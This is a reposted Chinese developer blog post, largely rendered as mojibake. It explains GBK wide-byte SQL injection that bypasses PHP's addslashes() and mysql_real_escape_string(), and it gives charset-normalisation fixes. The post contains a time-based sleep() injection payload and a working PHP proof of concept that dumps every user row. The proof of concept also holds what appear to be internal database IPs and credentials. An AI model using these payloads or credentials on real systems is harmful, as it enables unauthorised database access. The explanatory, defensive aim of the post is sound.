PHP�ַ������ƹ�©��--addslashes��mysql_real_escape©��
���ϴλ���������У��и�����д���������������䣺
$sName = $_GET['name'];
$sName = addslashes($sName);
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';";
var_dump($sql);
exit();
����ɨ�蹤��һɨ�裬�����������ˣ���ɨ����SQLע��©�������һ��������������ݱ�����ס����ע�����ڶ����֣�
���鰲ȫ����ɨ����־���֣�
��SQL������
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
��ʱ��������SQLע�롣
//����������
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%';"
����ԭ����addslash�����ַ�%BF%27��©����
��©������2006�걻���������������ݿ��ַ�����ΪGBKʱ��0xbf27��������һ����Ч��GBK�ַ��������� addslashes() ת������Ϊ0xbf5c27��ǰ����0xbf5c�Ǹ���Ч��GBK�ַ�������0xbf5c27�ᱻ����һ���ַ�0xbf5c��һ��������������������©���ʹ����ˡ�
mysql_real_escape_string() Ҳ������ͬ�����⣬ֻ�������� addslashes() �����ǵ�����ʲô�ַ��������������˿�������Ӧ���ַ����������ַ���
��MySQL�������ָı�Ĭ���ַ����ķ�����
����һ��
�ı�mysql�����ļ�my.cnf
[client]
default-character-set=GBK
��������
�ڽ�������ʱʹ��
CODE:
SET CHARACTER SET 'GBK'
����mysql_query("SET CHARACTER SET 'gbk'", $c);����
mysql_query(��SET NAMES ��GBK����, $c);
�����Ƿ������ڸı��ַ���ʱmysql_real_escape_string() ����֪����ʹ��Ĭ���ַ��������Ӷ����ɺ� addslashes() һ����©������ע�����仰��ժ���ģ���Ҳû������
�����ϲ�ѯ������˵��
��mysql_real_escape_string����ı��뷽ʽ��client���õı��뷽ʽ(big5/bgk)��һ��ʱ��mysql_real_escape_string��addslashes��û��������
����
[client]
default-character-set=latin1
mysql_query("SET CHARACTER SET 'gbk'", $mysql_conn);
����������mysql_real_escape_string �ǻ��� latin1�����ģ��Dz���ȫ��
[client]
default-character-set=gbk
mysql_query("SET CHARACTER SET 'gbk'", $mysql_conn);
���������£�mysql_real_escape_string ���� gbk ��������������
���ǣ�������108��153����֤�Ķ����ɹ���
��12������php�ļ���108����mysql�ϣ���ѯ��
��153���Ӳ��Ի���CDB���㣺
ִ�����ԣ�
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html�IJ��Դ���
<?php
//$c = mysql_connect("localhost", "user", "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);
//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>
���֣�������©��
�ݹ��������ִ���©���Ĺؼ���addslashes()��mysql_real_escape_string()��Mysql����ΪGBKʱ�Ϳ��Դ���©����
���⣺mysql_real_escape_string��ִ��ǰ��������ȷ���ӵ�Mysql����Ч��
���У���������©����ԭ��������GBK�������ַ��������ģ�������������Ҫ�ڽ���addslashes����mysql_real_escape֮ǰ���������ַ������������һ�¡�
$this->sName = $_GET['name'];
$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);
$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);
Iconv���ַ�ʽ�Ƚϴֱ������ڲ���ʶ���������ַ�֮����������153�����ϻ��ضϲ���ʶ�����ַ����������ݣ�
���£�
string(32) "41�\' or sleep(10.10)=0 limit 1#"
string(2) "41"
������mb_convert_encoding������ʽ
$tmp = mb_convert_encoding($_POST['username'], 'gbk','utf-8');
$_POST['username'] = mb_convert_encoding($tmp, 'utf-8', 'gbk');
���ַ�ʽ�����˵�����ʶ����GBK�ַ���
��������֮����ʹ��addslashes��û����������
���ǣ����ﲻ����%bf�����������ַ�Ҳ��������ͬ��©�������ҿ����Լ��������ԵIJ��£�������zwell�����ᵽ��һ������
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php
�ο���ҳ��
http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
http://ar.newsmth.net/thread-1d64171197dd0d-1.html
�ڶ����֣�
SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%
������SQLע�������У���count��SLEEP��������һ��������mysql�����ڱ���ÿ����¼�϶�sleep��n���룬���ԣ���������������1000����¼ʱ�ͻ�sleep 1000*n�롣
�������ﻹ��������������������
ԭ�ģ�http://blog.csdn.net/zhuizhuziwo/article/details/8525789
- ת����ע����Դ��ITѧϰ�� ��ַ��http://www.t086.com/ �����������Ƽ�������
- �ر������� ��վ�������ر�������ֹת�ص�ר�������������¿�������ת�أ���������ע��������ԭʼ���ߡ����°�Ȩ������ԭʼ�������С����ڱ���վת�����µĸ��˺���վ�����DZ�ʾ������л�⡣������վת�ص������а�Ȩ��������ϵ���ǣ����ǻᾡ�����Ը�����
- �������е���ɫ
- �������ж�IP��ַ��A��B���C��
- ������ϵ��Ц�� (ʷ����ȫ��
- ��Google���������ŵ���ͨv4.0
- ���ٶ�ͳ��URL��hm������utm�����Ķ�Ӧ��ϵ
- ��ƻ������MACbook Air���ݼ���ȫ
- ��Linux��ʹ��host��dig��nslookup��ѯDNS
- ���������ԡ���װ Windows XP ����ϵͳ��ͼ��ȫ����
- �����Լ���VPS�Google��������
- ��С�ڴ�VPS֮Nginx+PHP-fpm�߸����Ż���ѹ�����Է���